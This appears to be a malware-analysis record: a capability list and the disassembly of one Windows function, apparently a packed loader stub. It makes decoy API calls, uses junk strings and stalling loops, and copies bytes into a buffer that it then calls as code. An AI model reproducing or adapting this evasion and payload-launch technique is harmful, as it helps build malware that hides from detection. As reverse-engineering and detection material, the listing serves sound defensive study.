Function at 0x816d90
Capabilities:
Copy file
Get common file path
Manipulate console buffer
Move file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x186c
call fcn.00414970
mov eax, dword [0x824008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalSize]
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_PrivilegedServiceAuditAlarmA]
xor esi, esi
cmp dword [0x828678], 0xc31
jne 0x816dda
push 0
push 0
push 0
push str.hegotayepabeyidazoniravuv
push str.panegimudenohowatugivo
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x92601b2
jg 0x81704b
inc esi
cmp esi, 0x3661b720
jl 0x816db8
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
xor esi, esi
nop
cmp esi, 0x562d05
jne 0x816e14
mov ecx, dword [0x824ff8]
mov dword [0x82867c], ecx
cmp dword [0x828678], 0x3c
jne 0x816e22
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x816e00
cmp dword [0x828678], 0x7c
jne 0x816f43
push ebx
lea edx, [ebp - 0x1004]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
xor eax, eax
mov dword [ebp - 0x1814], eax
mov dword [ebp - 0x1810], eax
mov dword [ebp - 0x180c], eax
mov dword [ebp - 0x1808], eax
lea eax, [ebp - 0x1818]
push eax
lea ecx, [ebp - 0x1864]
push ecx
push ebx
lea edx, [ebp - 0x404]
push edx
push ebx
push ebx
push ebx
push ebx
mov dword [ebp - 0x1818], ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0x2e
lea eax, [ebp - 0x185c]
push ebx
push eax
mov dword [ebp - 0x1860], ebx
call fcn.004095e0
add esp, 0xc
push ebx
lea ecx, [ebp - 0x1860]
push ecx
push str.xiyaderakovomeheyomoba
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push ebx
push ebx
push ebx
push ebx
push str.seyoruzacisoxezoduhonenagiyiv
push str.mebotiyijadif
call dword [sym.imp.KERNEL32.dll_CopyFileExA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea edx, [ebp - 0xc04]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalLock]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalUnlock]
cmp dword [0x828678], 0x2d
jne 0x816f1a
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileStringW]
push ebx
lea eax, [ebp - 0x1804]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
cmp dword [0x828678], 0x54
jne 0x816f2b
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
push 0x821f5a
push 0x826e88
call fcn.0040128b
push ebx
call fcn.004015a8
add esp, 0xc
cmp dword [0x828678], 0x110a
jne 0x81706d
mov dword [0x827978], ebx
mov dword [0x82797c], ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea ecx, [ebp - 0xc04]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push ebx
push ebx
lea edx, [ebp - 0x1864]
push edx
call sub.KERNEL32.dll_SetConsoleDisplayMode
push ebx
lea eax, [ebp - 0x1804]
push eax
push str.guvavidesigoxon_xiciwagafuhewufebeg_cenehevecojepigalolobukotivi_fitopug_tuboluzatefuwuye
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push ebx
push ebx
mov dword [ebp - 0x1808], 0xf
mov dword [ebp - 0x180c], ebx
mov byte [ebp - 0x181c], 0
call fcn.0040143d
push ebx
push ebx
call fcn.0040143d
push 0x822044
push str.0.txt
push ebx
call fcn.004016c8
add esp, 0x1c
push str.0__s__d__f
call fcn.00401503
add esp, 4
push 0x7fc
lea ecx, [ebp - 0x800]
push ebx
push ecx
mov dword [ebp - 0x804], 0x30
call fcn.004095e0
add esp, 0xc
lea edx, [ebp - 4]
push edx
push ebx
lea eax, [ebp - 0x804]
push eax
push 0xce6
push 0x827990
call fcn.0040183c
add esp, 0x14
push ebx
push ebx
call fcn.0040143d
add esp, 8
push ebx
call fcn.00401e95
cmp dword [0x828678], 0xa
jne 0x816df5
lea eax, [ebp - 0x1864]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
jmp 0x816df7
call fcn.008161d0
xor esi, esi
cmp dword [0x828678], ebx
jbe 0x8170d8
mov edi, dword [sym.imp.ADVAPI32.dll_RegRestoreKeyW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetPriorityClass]
jmp 0x817090
mov ecx, dword [0x82867c]
mov dl, byte [ecx + esi + 0xa231]
mov eax, dword [0x82738c]
mov byte [eax + esi], dl
cmp dword [0x828678], 0x5ab
jne 0x8170cd
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetPrivateObjectSecurity]
inc esi
cmp esi, dword [0x828678]
jb 0x817090
xor ebx, ebx
call fcn.00816ac0
call fcn.00816200
call fcn.00816ce0
mov ecx, dword [0x82738c]
xor eax, eax
nop
cmp eax, 0xbd9cb
jne 0x8170fd
add ecx, 0
inc eax
cmp eax, 0x15a63d
jl 0x8170f0
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov dword [0x82738c], ecx
mov dword [ebp - 0x1864], 0x6f479f
mov ebx, 0x8e55e61a
jmp 0x817130
cmp dword [0x828678], 0x58
mov dword [0x827980], ebx
jne 0x81716d
push 0
push str.yaxitavuwupolag
call esi
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x186c]
push eax
mov word [ebp - 0x1868], cx
mov word [ebp - 0x1866], dx
mov ecx, dword [ebp - 0x1868]
push ecx
push edx
push edx
push edx
call edi
sub dword [ebp - 0x1864], 1
jne 0x817130
call dword [0x82738c]
mov edi, dword [sym.imp.USER32.dll_GetProcessDefaultLayout]
mov ebx, dword [ebp - 0x1824]
xor esi, esi
lea ebx, [ebx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0
call edi
cmp esi, 0x1ac2b
jle 0x8171b0
cmp ebx, 0xf5bee1
jne 0x8171b9
inc esi
cmp esi, 0x1ebc2db6
jl 0x817190
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040127c
mov esp, ebp
pop ebp
ret